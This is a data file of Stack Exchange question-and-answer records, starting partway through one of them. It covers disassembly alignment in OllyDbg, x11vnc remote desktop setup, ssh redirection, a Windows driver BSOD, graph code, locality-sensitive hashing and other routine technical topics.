that function.The reason for your 'disappearing' instruction is that it's the middle of another instruction. Consider this function start:10001280 > 53               PUSH EBX10001281   56               PUSH ESI10001282   57               PUSH EDI10001283   8B7C24 10        MOV EDI,DWORD PTR SS:[ESP+10]10001287   8BF1             MOV ESI,ECX10001289   3BF7             CMP ESI,EDI1000128B   0F94C3           SETE BL1000128E   84DB             TEST BL,BL10001290   75 32            JNZ SHORT 100012C4The byte at 10001284, 0x7c, is part of the instruction at 1001283. But if you disassemble from 10001284,10001284   7C 24            JL SHORT 100012AA10001286   108B F13BF70F    ADC BYTE PTR DS:[EBX+FF73BF1],CL1000128C   94               XCHG EAX,ESP1000128D   C3               RETN1000128E   84DB             TEST BL,BL10001290   75 32            JNZ SHORT 100012C4The wrong bytes get interpreted as instructions. Once you scroll up a few rows, Ollydbg syncs correctly again - and shows the 'real' instructions."  } 
{  "id": "_unix.73041"  , "question": "I am trying to set up some automation scripts to set up a Linux environment. I would like to enable remote desktop sharing without the user having to actually use the GUI to do so. My plan is to write a batch script that maybe edits some file to do this automatically, if possible.I am using Fedora 16 with the Gnome.I want to achieve the following:http://docs.fedoraproject.org/en-US/Fedora/13/html/User_Guide/chap-User_Guide-Sharing_your_desktop.htmlAny tips on what file to edit would be greatly appreciated."  , "title": "Enable remote desktop for Gnome from command line?"  , "tags": "fedora;gnome;vnc;remote desktop"  , "accepted_answer": "If I understand you right: you want to share gnome or other environment remotely as it is, then the easiest way to achieve this is to use x11vnc. It shares real X11 server as it is after user logged in:x11vnc -display :0Or if you want vnc server run after login, you can automate with this script:#!/bin/bash/usr/bin/x11vnc -nap -wait 50 -noxdamage -passwd PASSWORD -display :0 -forever -o /var/log/x11vnc.log -bgYou can place this script in startup programs in gnome, so that it could be run automatically when the user logins. Please note that this script is not secure as session PASSWORD variable is clearly seen to anyone who could read the file and anyone knowing password can connect to vnc session (password in this case is 8 symbols word asked when you are connecting remotely). If you want more secure connection search how to do vnc ssh tunneling."  } 
{  "id": "_webmaster.18266"  , "question": "I am designing a website for a Photographer. Obviously I compressed the images so that they would load faster and not use all the visitors cap. (There is quite a few gbs of pictures so that would just about take all of my bandwidth for a month if I were to browse all the albums.)The photographer was worried that having pixelated or bad resolution images on her website would create an unproffesional image for herself.How much quality can I sacrifice against professionality?Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?"  , "title": "Photography website: How much quality to sacrifice for file size?"  , "tags": "load time;photo"  , "accepted_answer": "In my experience, this is more a balance between load speed and photo quality.  Given i'm a professional photographer myself, I understand this difficult challenge.I feel that the internet has gone a long way and there are now some great techniques and tools that you can utilize to avoid this issues. None of these techniques are germane or specific to a photography website.Regarding your first question: How much quality can I sacrifice against professionality?In my experience, generally you can find a balance by playing with the settings of a jpeg image. Settings of 70-85 quality will be sufficient. Additionally, utilizing 72 DPI is sufficient to minimize file size. Your second question: Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?Yes, any pixelation and/or poor quality of an image will reflect poorly if the photos aren't very high quality. A photographer's work is solely dependent on visual quality and attention to visual detail. Techniques to considerI would avoid extreme compression if you must. The internet provides lots of great techniques to improve load:Provide excellent user experience: Providing your visitors rich feedback will reduce frustration and will keep them at your website longer. Consider the following UI related techniques:Utilizing a loader  Interactive image zoom makes a lot of sense.Dynamic Image Caching - Utilize website software that generates different sizes of images for the user ahead of time. If you're using a LAMP stack PHP offers two great code libraries (GD & Imagemagick and lots of great scripts that can do this for you.Utilize a CDN: Consider architectural (server) setups. Like loading static images from a CDN or a different network altogether will provide you a quicker load time.Consider javascript lazy loading: There are lots of javascript plugins that provide lazyloading images; that wait to load the image until it's absolutely necessary.Utilize a image resizing Service: There's  a great thread right below this one about this very topic! Smush.It or similar lossless image shrinking with APIFinally, Review YUI Performance guide: Yahoo offers an awesome guide on performance. Some of these tips are mentioned above already but this guide is pretty comprehensive."  } 
{  "id": "_codereview.153321"  , "question": "I'm practising with graphs, and trying to solve a problem of calculating the minimum number of flight segments, applying breadth-first search.The code is working, but I think, that it's not clean. Can anyone suggest how I refactor it to make it cleaner?def distance(adj, s, t):    n = len(adj)    queue = []    visited = set()    path = []    queue.append([s])    dist = 0    while (len(queue) > 0):        path = queue.pop(0)        last_vertex = path[-1]        if last_vertex == t:            # print(path)            dist = len(path)-1        elif last_vertex not in visited:            for w in adj[last_vertex]:                new_path = list(path)                new_path.append((w))                queue.append(new_path)            visited.add(last_vertex)    if dist != 0:        return dist    else:        return -1if __name__ == '__main__':    input = sys.stdin.read()    data = list(map(int, input.split()))    n, m = data[0:2]    data = data[2:]    edges = list(zip(data[0:(2 * m):2], data[1:(2 * m):2]))    adj = [[] for _ in range(n)]    for (a, b) in edges:        adj[a - 1].append(b - 1)        adj[b - 1].append(a - 1)    s, t = data[2 * m] - 1, data[2 * m + 1] - 1    print(distance(adj, s, t))I represent graph in such way. The first line contains non-negative integers n and m  the number of vertices and the number of edges respectively. The vertices are always numbered from 1 to n. Each of the following m lines defines an edge in the format u v where 1  u, v  n are endpoints of the edge :4 52 14 31 42 43 21 3The last two digits stands for two vertices, we need to find path between."  , "title": "Minimum number of flight segments using breadth-first search"  , "tags": "python;graph;breadth first search"  } 
{  "id": "_reverseengineering.15306"  , "question": "few days ago here I asked about IOCTL codes necessary for using functionality of Windows driver from user-app.When I want to read some MSR, DeviceIOControl works well and returns nonzero value.But write attemption cause BSoD with 0x0000003B code (executing a routine that transitions from non-privileged code to privileged code).Also reading 100 bytes from 0x0x00000000 cause BSoD with 0x00000050 code (that invalid system memory has been referenced).I use RWeverything to view memory dump and msr state, so msr numbers are correct and memory at 0x000000000 is not empty.Here is crash dump displayed in WinDbg: PAGE_FAULT_IN_NONPAGED_AREA (50)    Invalid system memory was referenced.  This cannot be protected by try-except,    it must be protected by a Probe.  Typically the address is just plain bad or it    is pointing at freed memory.    Arguments:    Arg1: fffff80802a33f28, memory referenced.    Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.    Arg3: fffff800028a8c62, If non-zero, the instruction address which referenced the bad memory        address.    Arg4: 0000000000000005, (reserved)    Debugging Details:    ------------------    Page ec4b not present in the dump file. Type .hh dbgerr004 for details    READ_ADDRESS:  fffff80802a33f28     FAULTING_IP:     nt!MiInsertCachedPte+82    fffff800`028a8c62 48              dec     eax    MM_INTERNAL_CODE:  5    DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT    BUGCHECK_STR:  0x50    CURRENT_IRQL:  0    ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre    LAST_CONTROL_TRANSFER:  from 0000000000000000 to 0000000000000000    STACK_TEXT:      00000000 00000000 00000000 00000000 00000000 0x0    STACK_COMMAND:  .bugcheck ; kb    FOLLOWUP_IP:     nt!MiInsertCachedPte+82    fffff800`028a8c62 48              dec     eax    SYMBOL_NAME:  nt!MiInsertCachedPte+82    FOLLOWUP_NAME:  MachineOwner    DEBUG_FLR_IMAGE_TIMESTAMP:  0    IMAGE_VERSION:  6.1.7601.17514    IMAGE_NAME:  Unknown_Image    BUCKET_ID:  INVALID_KERNEL_CONTEXT    MODULE_NAME: Unknown_Module    FAILURE_BUCKET_ID:  INVALID_KERNEL_CONTEXT    ANALYSIS_SOURCE:  KM    FAILURE_ID_HASH_STRING:  km:invalid_kernel_context    FAILURE_ID_HASH:  {ef5f68ed-c19c-e34b-48ec-8a37cd6f3937}Please point to stupid mistakes and explain how to resolve described problems properly. Thank you for any answers."  , "title": "BSOD (3b) DeviceIOControl and x64 Windows driver"  , "tags": "windows;driver"  } 
{  "id": "_unix.44757"  , "question": "These two question is driving me crazy and I don't have good expertise of ssh. (but I suspect it is to do with redirection only)The questions are,You want to pass multiple lines of input from a file called abc.txt to the ssh command.  Complete the command required to do this$ssh _ _ abc.txt  (that is only two characters) (a details explanation would be helpful)ANDYou want to pass multiple lines of input from a file called Remote.txt to ssh but all leading tabs in the subsequent input should be stripped. Complete the command to do this$ssh _ _ _ Remote.txt"  , "title": "ssh input from text file"  , "tags": "bash;ssh;shell script;io redirection"  , "accepted_answer": "To pass input from a local file to ssh, you should use input redirection like this:ssh user@server < abc.txtAre you sure the _ must be really a single character? In that case this is possible if x is configured in ~/.ssh/config as an alias to some user@host:ssh x < abc.txtI cannot answer Q2 because I don't really understand it. I suppose Remote.txt is on the remote. As per the second question, I suppose Remote.txt is a file on the remote side, in which case the command should be of the form:ssh user@server bash < Remote.txt...but this does not fit the problem description with _ _ _ and of course to remove the trailing tabs some more would be necessary like:ssh user@server bash < <(sed -e 's/^[    ]*//' Remote.txt)In other words this does NOT answer the second question. I hope this helps you  anyway understanding redirection when used with ssh.EDITAfter reading the Q another time, since it says passing multiple lines of input to ssh suggests that we have to use redirection to ssh again, in which case the file must be local.ssh user@server < <(sed 's/^[    ]*//' Remote.txt)But again, I don't think this qualifies as an answer in the form ssh _ _ _ Remote.txt"  } 
{  "id": "_unix.377715"  , "question": "I have Oracle 11.2.0.4 Rac on OEL6.4 at my workplace. I created one more single instance database as name of preprod for our developers. System taking everynight rman backup and copying these backup pieces to preprod side. And restore recover process happening on this preprod side. Sometimes backup piece does not comes completely probably cause of network blackout and thatswhy preprod cant restore recover and this days preprod stays closed status.My question is how to be sure my rman backup pieces goes to preprod ? I mean how to provide backup pieces goes complete byte to byte. Is this any control mechanism for this operation ? For example when copying process, something checks pieces byte to byte if anything wrong copy process will begin from zero until to everything goes to preprod."  , "title": "Oracle duplicate database copied backup checker"  , "tags": "linux;oracle linux;oracle database;oracle"  } 
{  "id": "_softwareengineering.279998"  , "question": "I have been basically out of the programming world for about 10 years, with only a bit of dabbling here and there with small Java utilities and one large Access database I wrote for someone, and some VBA macros here and there.Now I've come back with a project I would like to work on, and I'm very confused about the whole new web-programming scene. I am trying to write a web based multi-user database, and I'm not so familiar with the technologies used.So I figured that I should go with what I'm familiar with. I know a bit of PHP and lots of SQL, so that's a good start for the backend. And I hate CSS and javascript, so I'll try to use a standard Java desktop application for the front-end (which is anyways more appropriate for this database then a web-based front-end). I don't know C# at all and am not willing to learn it just for this project, though I am curious to learn it eventually.I've spent many hours on it, and I've familiarized myself with Jackson for JSON processing, and even made a fancy command queue that sends requests and receives responses to the server on a separate thread and deals nicely with errors.But I'm finding the whole process quite tedious. For every little table I make in the database, I need to make a Swing JFrame, then I have to connect the user interface with the underlying Java class that holds the data, then I have to make the requests that put the data into the appropriate JSON, which often involves little fiddling with Jackson annotations, then I have to make the PHP that takes the data and makes it into an SQL query. And same for the other direction, I have to make a request to the server that asks for the data, I need to write php to make to appropriate SELECT queries, pack it into JSON (at least json_encode does that quite nicely, though it's complicated if there are one-to-many relationships involved) get the information back into my java class, and then to get that displayed in the GUI. And all along the way data has to validated and errors dealt with.I feel like this is way too much work for such a simple thing. I'm used to Access, where you just make a query, and then displaying the results and allowing the user to edit them is just a matter of running a wizard and moving around the controls a bit. And I feel like a lot of what I've done already with my command processing queue is probably re-inventing the wheel - every web-based application needs something like that.Am I missing something?"  , "title": "Java front-end, PHP/MySQL back end methodology"  , "tags": "java;php;database;tools;front end"  , "accepted_answer": "Since you are not developing a website or a web application, but a desktop application which stores its data on a server, there are indeed a few layers you can skip.A common approach, in this situation, is to use web services.When a service should be lightweight and interoperable (that is, you can use it with ease from virtually every programming language), the service can take a form of REST. The drawback is that not every server-side language makes it possible to create REST services painlessly, without writing too much code.Another form a web service can take is SOAP. In .NET Framework, this was a de facto standard option for web services for a long time, although recently, there is a major shift towards REST; for instance, SharePoint itself relies more and more on REST instead of previously ubiquitous WCF services. I could imagine that the situation is similar with Java and PHP.The benefit of SOAP is that you probably don't have to write any code at all. In .NET Framework, you declare your web service interfaces server-side and let the framework generate the WSDL (the detailed schema of the service) and process the requests and the responses. Then you import the service client-side, without the need to write a single line of code.The drawback of SOAP is that it is usually much heavier compared to REST. Responses are also usually larger, which impacts the bandwidth.In your case, consider the web service as an interface to your database. Since you don't want anyone to be able to select everything from your users' table or delete all your tables, the web service is a way to tell who can access what.This is different from simply giving access to an SQL database with a fine-grained configuration of permissions, so that a given user can access and do only a very limited amount of things. With a web service, you can also sanitize inputs, control how much resources are accessed by a user, use cache to boost performance, access resources outside the database, etc.Of course, you can simply even the step of writing the service interface if the only thing you need is to bind the service to the database. In .NET Framework, WCF Data Services are used for that (the project is originally called Microsoft Astoria; search for this name if you want articles which are not too technical). I'm sure Java and PHP have something similar."  } 
{  "id": "_webapps.88462"  , "question": "Is it possible to post a photo on Facebook that links to a website?Can this only be done with Facebook ads?"  , "title": "How to post photo with website clickthrough on Facebook?"  , "tags": "facebook"  } 
{  "id": "_webapps.88937"  , "question": "So I have this spreadsheet I use to control Content funnel.I've come up with a few formulas to use something else than a pivot table.But in order to get the trends and alarms I'm looking for, I need to start recording this data daily.. automatically.This is the spreadsheet:I'm looking for a script that would add a column between columns B and C, setting current date in cell C1, and completing each cell below with the corresponding value to each formula in each cell.Here's the list of forumlas I'm using:C2: =counta(Check!$J:$J)C3: =COUNTIF(Check!$L:$L,Validation!$A$6)C4: =COUNTIF(Check!$L:$L,Validation!$A$7)C5: =ARRAYFORMULA(countif(Check!$L:$L&Check!$O:$O,Validation!$A$5&) )C6: =countif(Check!$O:$O,Validation!$A$1)C7: =ARRAYFORMULA(countif(Check!L:L&Check!O:O,Validation!A5&Validation!A2) )C8: =ARRAYFORMULA(countif(Check!O:O&Check!Q:Q,Validation!A1&) )C9: =countif(Check!Q:Q,Validation!A1)C10: =countif(Check!Q:Q,Validation!A2)C11: =countif(Check!T:T,Validation!A1)So far I've only achieved this much:function recordHistory() {  var ss = SpreadsheetApp.getActiveSpreadsheet();  var sheet = ss.getSheetByName(Approval Funnel);  var source = sheet.getRange(C2:C11);  var values = source.getValues();  values[0][0] = new Date();  sheet.insertColumns(3);And that's the frontier of my coding knowledge.Any ideas?"  , "title": "Automatically record daily values in a new column"  , "tags": "google spreadsheets;google apps script;formulas"  , "accepted_answer": "Your draft is pretty good, but there is a design flaw: if you insert the values between B and C, then the column with formulas will become D. So, next time the script will try to get data, it will be looking at a wrong place. Simply put, the source of the data you are recording (i.e., the column with formulas) should stay in the same place. You can put the historical data to the right of it.  Like this:  function recordHistory() {  var ss = SpreadsheetApp.getActiveSpreadsheet();  var sheet = ss.getSheetByName(Approval Funnel);  var source = sheet.getRange(C2:C11);  var values = source.getValues();  values = [[new Date()]].concat(values);    // prepending the date to values  sheet.insertColumnAfter(3);                // inserting AFTER column C  SpreadsheetApp.flush();           sheet.getRange(D1:D11).setValues(values);}I put SpreadsheetApp.flush(); to make sure that the previous changes (namely, inserting a column) is indeed made before the script puts the data in with setValues.  Also you had an error in values[0][0] = new Date(); -- this command would overwrite the 0th element of array (namely, the content of C2) with the date. You wanted to prepend the date, which is what I did by creating a new array with one element, [[new Date()]], and concatenating values to it. "  } 
{  "id": "_unix.100980"  , "question": "When I run auditctl -l I got:# auditctl -lNo rulesFile system watches not supportedAnd I've already have AUDITSYSCALL enable in kernel, # zgrep AUDIT /proc/config.gzCONFIG_AUDIT_ARCH=yCONFIG_AUDIT=yCONFIG_AUDITSYSCALL=yCONFIG_AUDIT_TREE=ySo what could be wrong here? I'm using auditctl version 1.0.12 with kernel 2.6.32"  , "title": "auditctl reports File system watches not supported on a very old system"  , "tags": "kernel;audit"  } 
{  "id": "_unix.377606"  , "question": "I am trying to setup the environment-modules for a Ubuntu system.  I have placed some tools and applications in the /opt directory and would like to use the environment-module to select between different versions.  The question is where do I place the directory for the environment-modules?  Some of the guides I have seen online show the user's home folder, but I would like to setup the system for all users.Thanks/regards."  , "title": "Where to place the directory (i.e., MODULEPATH) for environment-modules"  , "tags": "linux"  } 
{  "id": "_cs.77573"  , "question": "Let $\\text{MOD}_2 : \\{0,1\\}^n \\rightarrow \\{0,1\\}$ be a parity function where $$\\text{MOD}_2(x_1,\\dots,x_n) = \\sum_i x_i \\bmod 2$$It is known [See e.g. Lemma 5 of this lecture note] that any polynomial $f(x_1,\\dots,x_n) \\in \\mathbb{R}[x_1,\\dots,x_n]$ of degree at most $\\sqrt{n}$ must disagree with $\\text{MOD}_2$ on at least a constant fraction of inputs. Is this true for a polynomial with degree $n^{0.5+\\epsilon}$ for some small constant $\\epsilon>0$ ? How about a polynomial with degree $o(n)$?"  , "title": "Lower bound of degree of polynomial approximating parity"  , "tags": "polynomials;reference question"  , "accepted_answer": "You can show a polynomial of degree $O(\\sqrt{n\\log n})$ can agree with parity on all but $o(1)$ fraction of the inputs. (In fact, this argument should work for anything of degree $\\omega(\\sqrt{n})$). Let $S = x_1 + x_2 + \\dots + x_n$. Note that $\\text{MOD}_2(x_1, x_2, \\dots, x_n)$ can be written as a single-variable function of $S$. By Lagrange interpolation, there exists a univariate polynomial of degree $O(\\sqrt{n\\log n})$ in $S$ (and hence in the $x_i$s) that agrees with $\\text{MOD}_2$ on the interval $S \\in [(n-\\sqrt{n\\log n})/2, (n+\\sqrt{n\\log n})/2]$. By the central limit theorem, this range of $S$ accounts for all but $o(1)$ of the $2^n$ inputs $(x_1, x_2, \\dots, x_n)$. "  } 
{  "id": "_codereview.42262"  , "question": "So, I am not sure if I should have Vertex extend Point, because the equals() and compareTo() functions are already parameterized with Point. I guess I don't really need compare to...Does this structure look good? I used a Map instead of a TreeMap because as3commons and the default flex packages do not have this structure defined. How easy will this be if I were to create it.Things that I am in the process of working out now:I know I need to add removeVertex() (and removeEdge()?)If I want to create an Edge class, I supposed I would make the following changes:// Since this is undirected, do I need 2 edges, because I have src and dest?public class Edge {    public var src:Vertex;    public var dest:Vertex;    public var data:Object;    public function Edge(src:Vertex, dest:Vertex, data:Object=null) {        // Set instance variables    }}public class Graph {    public var edges:IMap; // <Object, Edge>    public function addEdge(from:Object, to:Object, data:Object):void {        edges.add(data, new Edge(v, w));    }}My main gripe would be about juggling all of these data types.public var adjList:IMap; // <Vertex, Set>public var vertices:IMap; // <Object, Vertex>public var edges:IMap; // <Object, Edge>This may make if difficult to intelligently traverse the graph.Reference classes and files:Vertex.aspackage core {    import flash.geom.Point;    public class Vertex extends Point {        public var data:Object;        public function Vertex(data:Object=null, x:Number=0, y:Number=0) {            super(x, y);            this.data = data;        }        // Implement...        override public function clone():Point {            return new Vertex(data, x, y);        }        override public function toString():String {             return data.toString();        }        // Implement...        override public function equals(toCompare:Point):Boolean {            return super.equals(toCompare) && this.compareTo(toCompare as Vertex) == 0;        }        // Implement...        public function compareTo(other:Vertex):int {            return 0;        }    }}Graph.aspackage core {    import org.as3commons.collections.Map;    import org.as3commons.collections.Set;    import org.as3commons.collections.framework.IMap;    import org.as3commons.collections.framework.ISet;    public class Graph {        public var adjList:IMap; // <Vertex, Set>        public var vertices:IMap; // <Object, Vertex>        private static const EMPTY_SET:ISet = new Set();        private var _numVertices:int;        private var _numEdges:int;        public function Graph() {            adjList = new Map();            vertices = new Map();            _numVertices = _numEdges = 0;        }        public function addVertex(data:Object):Vertex {            var v:Vertex = vertices.itemFor(data);            if (v == null) {                v = new Vertex(data);                vertices.add(data, v);                adjList.add(v, new Set());                _numVertices++;            }            return v;        }        public function getVertex(data:Object):Vertex {            return vertices.itemFor(data);        }        public function hasVertex(data:Object):Boolean {            return vertices.hasKey(data);        }        public function hasEdge(from:Object, to:Object):Boolean {            if (!hasVertex(from) || !hasVertex(to))                return false;            return (adjList.itemFor(vertices.itemFor(from)) as Set).has(vertices.itemFor(to));        }        public function addEdge(from:Object, to:Object):void {            var v:Vertex, w:Vertex;            if (hasEdge(from, to))                return;            _numEdges += 1;            if ((v = getVertex(from)) == null)                v = addVertex(from);            if ((w = getVertex(to)) == null)                w = addVertex(to);            (adjList.itemFor(v) as Set).add(w);            (adjList.itemFor(w) as Set).add(v);        }        public function adjacentTo(value:*):ISet {            if (value is Object && hasVertex(value as Object)) {                return adjList.itemFor(getVertex(value as Object)) as Set;            }            if (value is Vertex && adjList.has(value as Vertex)) {                return adjList.itemFor(value as Vertex) as Set;            }            return EMPTY_SET;        }        public function getVertices():ISet {            var set:ISet = new Set();            for each (var v:Vertex in vertices.toArray()) {                set.add(v);            }            return set;        }        public function numVertices():int {            return _numVertices;        }        public function numEdges():int {            return _numEdges;        }        public function toString():String {            var s:String = ;            for each (var v:Vertex in vertices.toArray()) {                s += v + : ;                var set:ISet = adjList.itemFor(v) as Set;                for each (var w:Vertex in set.toArray()) {                    s += (w +  );                }                s += \\n;            }            return s;        }    }}App.mxml<?xml version=1.0 encoding=utf-8?><s:Application xmlns:fx=http://ns.adobe.com/mxml/2009     xmlns:s=library://ns.adobe.com/flex/spark     xmlns:mx=library://ns.adobe.com/flex/mx    creationComplete=onComplete(event)>    <fx:Script>        <![CDATA[            import core.Graph;            import core.Vertex;            import mx.events.FlexEvent;            protected function onComplete(event:FlexEvent):void {                main();            }            public static function main(args:Vector.<String>=null):void {                var G:Graph = new Graph();                G.addEdge(A, B);                G.addEdge(A, C);                G.addEdge(C, D);                G.addEdge(D, E);                G.addEdge(D, G);                G.addEdge(E, G);                G.addVertex(H);                // print out graph                trace(G);                trace('Verticies:', G.numVertices());                trace('Edges    :', G.numEdges());                trace();                // print out graph again by iterating over vertices and edges                for each (var v:Vertex in G.getVertices().toArray()) {                    var str:String = v + : ;                    for each (var w:Vertex in G.adjacentTo(v.data).toArray()) {                        str += w +  ;                    }                    trace(str);                }            }        ]]>    </fx:Script></s:Application>"  , "title": "Actionscript Graph data structure implementation"  , "tags": "graph;actionscript 3;actionscript"  } 
{  "id": "_cs.44997"  , "question": "I have a collection of vectors $v_1,v_2\\in [0,1]^n$ and I want to find similar pairs quickly. For similarity, I want to use the Euclidean distance metric $L: [0,1]^n \\times [0,1]^n \\longrightarrow R$. $n$ will be around $200$.I've implemented Locality Similar Hashing (LSH) for word based documents, and I'm curious if there's an adaptation of it which will work for real based vectors.I read here on Computer Science Stackoverflow that universal hashing will work. If I have the vector $s=(0.55, 0.34, 0.90, 0.99)$ I can break it up into two sub vectors $s_1=(0.55, 0.34)$ and $s_2=(0.90, 0.99)$ and apply a universal hash to each:$h_n= a\\cdot s_n \\space mod \\space p$Where $a$ is a random vector and $p$ is prime. I can now define a space of bins, where each $h_n$ defines a bin in this space. Each vector with a subvector in $h_n$ is mapped to the bin $h_n$The problem is that this method is too precise. The vectors $(0.57, 0.34)$ and $(0.55, 0.34)$ are very similar but will get mapped to different bins.I'm wondering if it's there's any theoretical and practical issues with either truncating the last digit or rounding up/down such that both vectors are now mapped to a bin representing the vector $(0.5, 0.3)$This I believe is equivalent to multiplying all the vector elements by 10 and truncating the decimals, leading back to normal LSH.I'm quite new at all this, so please forgive the slight errors in notation or understanding."  , "title": "Finding similar high dimensional real vectors"  , "tags": "hash;cluster"  , "accepted_answer": "One approach: QuantizationOne approach is to quantize the values, then apply an existing LSH that works on discrete values.  In other words, you split up the space $[0,1]$ into several ranges, map each real number to its containing range, and then apply an existing LSH that works with discrete values.  This is essentially equivalent to first truncating each coordinate of the vector, then applying some discrete LSH.For example, suppose you split the interval $[0,1]$ up into ten ranges, $[0,0.1)$, $[0.1,0.2)$, ..., $[0.8,0.9)$, and $[0.9,1.0]$.  Now you can map any value in $[0,1]$ to its corresponding range -- this is basically just truncating to keep only the first digit in the decimal representation.  Map each interval to a digit from 0 to 9: e..g, $[0,0.1) \\mapsto 0$, etc.  In this way, given any vector $v \\in [0,1]^n$, you can get a new vector $w \\in \\{0,1,\\dots,9\\}^n$.  For instance, the vector $v=(0.55,0.34,0.90,0.99) \\in [0,1]^4$ maps to the new vector $w=(5,3,9,9) \\in \\{0,\\dots,9\\}^n$.The new vector $w$ is in a discrete space, rather than in a continuous space.  Now if you have a LSH that works on this discrete space, you can apply it to $w$.  For instance, suppose $h_1:\\{0,\\dots,9\\}^n \\to \\mathbb{R}$ is a locality-sensitive hash (LSH) on this discrete space.  Let $f:[0,1]^n \\to \\{0,\\dots,9\\}^n$ be the mapping that sends each real number to its corresponding range, i.e., $f(v)=(g(v_1),\\dots,g(v_n))$ where $g(x)= \\lfloor 10x \\rfloor$ is the truncation map $g:[0,1] \\to \\{0,\\dots,9\\}$.  Define $h_0 : [0,1]^n \\to \\mathbb{R}$ by$$h_0(v) = h_1(f(v)).$$Then $h_0$ is a LSH on continuous values.If you plan to generate multiple different LSHs, it's probably slightly better to apply the following tweak.  Pick a random $n$-vector number $r \\in [0,0.1)^n$.  Now the LSH for $[0,1]^n$ is defined to be $h_0(v) = h_1(f(v+r))$ as above, where $f:[0,1]^n \\to \\{0,1,\\dots,10\\}^n$ is the truncation map defined as above and $h_1:\\{0,1,\\dots,10\\}^n\\to\\mathbb{R}$ is a LSH on discrete values.  This tweak lets you generate multiple independent LSH's for $[0,1]^n$.  If you are only picking a single hash function, you can skip this step.There's nothing special about base-10.  Instead of using base-10, you can also use base-2 or any other base.  The performance will depend upon the base you use as well as the specific discrete LSH you choose, so you might need to play with the options to see which is best overall.  I suspect you will find that the optimal choice of base is base $b=2$ or $b=3$ (and, if your discrete LSH is based upon hashing a random subset of the coordinates, choosing a subset of size proportional to $\\sqrt{n}/b$), but it's not possible to give a hard-and-fast rule: the optimum depends to some extent on the distribution of your data.  That's why I suggest trying a few different parameter choices to see which seems to work best on your data.This is basically the truncation idea in your original post (truncate all real values, then apply a discrete LSH), but now we apply it to the entire vector, rather than trying to split the vector in half.  Of course, the discrete LSH might itself work by picking a few randomly chosen coordinates and hashing only those coordinates (e.g., using a universal hash).Another approach: Use a LSH designed for continuous valuesThere are also some LSH's that are designed specifically for continuous real numbers.  I don't know if there are any for the Euclidean distance.A totally different approach: nearest-neighbor data structuresFinally, it's worth mentioning that there are also other approaches to this problem that don't involve LSH's at all.  There are some data structures that are designed to support nearest-neighbor search (or approximate nearest-neighbor search).  You might look at metric trees, k-d trees, and nearest-neighbor search.However, beware of the curse of dimensionality.  If the dimension $n$ is large, none of these approaches are likely to work well: high dimensions are just plain hard.  For instance, one rule of thumb I've seen is that k-d trees tend not to work well when $n \\ge 30$.  I'm not sure any of these techniques will be terribly effective when $n$ is large: nearest-neighbor search in high dimensions is hard."  } 
{  "id": "_unix.317048"  , "question": "I have a problem where when I execute commands such as systemctl status , output is written on to previous lines of bash output . normally output is written some 20 lines above the current line...PS1 does not seem to be the issue since I am using PS1=$ to keep it simple . Also tried solution mentioned in :Bash overwrites the first line, PS1 bash promptI am using putty to connect to ubuntu on a embedded target . I do not see this problem for e.g if I do a cat on a file ."  , "title": "bash prompt control overwrites previous lines"  , "tags": "bash;putty"  } 
{  "id": "_softwareengineering.220676"  , "question": "Why does Mono for Android cost money if the mono project is opensource and therefore everything based on it must be opensource?"  , "title": "Why does Mono for Android cost money if the mono project is opensource and therefore everything based on it must be opensource?"  , "tags": "open source;mono"  } 
{  "id": "_softwareengineering.232282"  , "question": "As part of my workflow, I need to do all these steps in one transaction - I need to ftp files to 2 different FTP servers. - There is also a spreadsheet that gets generated which needs to be FTP'ed. Can this be streamed, instead of downloading and then pushed to FTP server.I am using Ruby Net::SFTP and Net::FTP libraries to send the files.I would like it to be robust. I am not sure if I need to do anything else or of this is good enough.Just to be clear, this is already working in production, I am not stuck, just looking to exchange design/architecture ideas on how to improve this."  , "title": "How to check robustness in a service that includes multiple points of failure in workflow, including FTP"  , "tags": "design;ruby;ftp"  , "accepted_answer": "Ahh, with FTP, the simple answer is - you don't. What you can do is to retrieve the file you sent to the FTP server, and check it is the same as the original file. If they match, all worked as well as you'd hoped.This gets tricky if you're not allowed to read from the FTP server (as some credit card acquirers do), security is set up such that you're allowed to write to some directories but not read from them. In these cases, the server tends to have a service that generates a summary report of your upload that you can retrieve from a read-only directory. In the case of acquirers that do not do this, you just have to cross your fingers and wait for them to complain usually on the following day."  } 
{  "id": "_softwareengineering.190080"  , "question": "Say you have been programming for over 10 years. You know many languages, with few of those at very detailed level. You have been designing architecture for solutions, worked on and delivered larger projects. You have been studying patterns, best practices, effective coding guidelines, unit testing, multi-threading, etc.And then you slowly develop a feeling that most of the books you read, give less and less valuable information per 100 pages of text. So they start giving diminishing returns. You still learn, but you no longer improve by leaps and bounds.Why does learning become less productive compared to how it was before?Back then, it used to change your way of thinking, taught you new things and broadened your horizons that later improved either your current profession, or allowed to invent/manage/build something new. Why is it no longer the case?"  , "title": "What can a technically proficient senior software developer study to keep improving"  , "tags": "learning;self improvement;skills;senior developer"  } 
{  "id": "_unix.31947"  , "question": "Using version control systems I get annoyed at the noise when the diff says No newline at end of file.So I was wondering: How to add a newline at the end of a file to get rid of those messages?"  , "title": "How to add a newline to the end of a file?"  , "tags": "bash;shell;text processing;newlines"  , "accepted_answer": "To recursively sanitize a project I use this oneliner:git ls-files | while read f; do tail -n1 $f | read -r _ || echo >> $f; done"  } 
{  "id": "_unix.1725"  , "question": "If I want to find out which directory under /usr/ports contains a port like gnome-terminal, how can I do that? Is there an easy command? At the moment I use things likeecho */gnome-terminalbut is there a website or guide which tells you this without having to use a trick?"  , "title": "How do I find where a port is?"  , "tags": "freebsd"  , "accepted_answer": "There are several ways that you can find a port, including your echo technique.  To start, there is the ports site where you can search by name or get a full list of available ports.  You can also try:whereis <program>but this--like using echo--won't work unless you type the exact name of the port.  For example, gnome-terminal works fine but postgres returns nothing.  Another way is:cd /usr/portsmake search name=<program>but keep in mind that this won't return a nice list; it returns several \\n delimited fields, so grep as necessary.  I've used both of the above methods in the past but nowadays I just use find:find /usr/ports -name=<program> -printLastly, I will refer you to the Finding Your Application section of the handbook which lists these methods along with sites like Fresh Ports which is handy for tracking updates."  } 
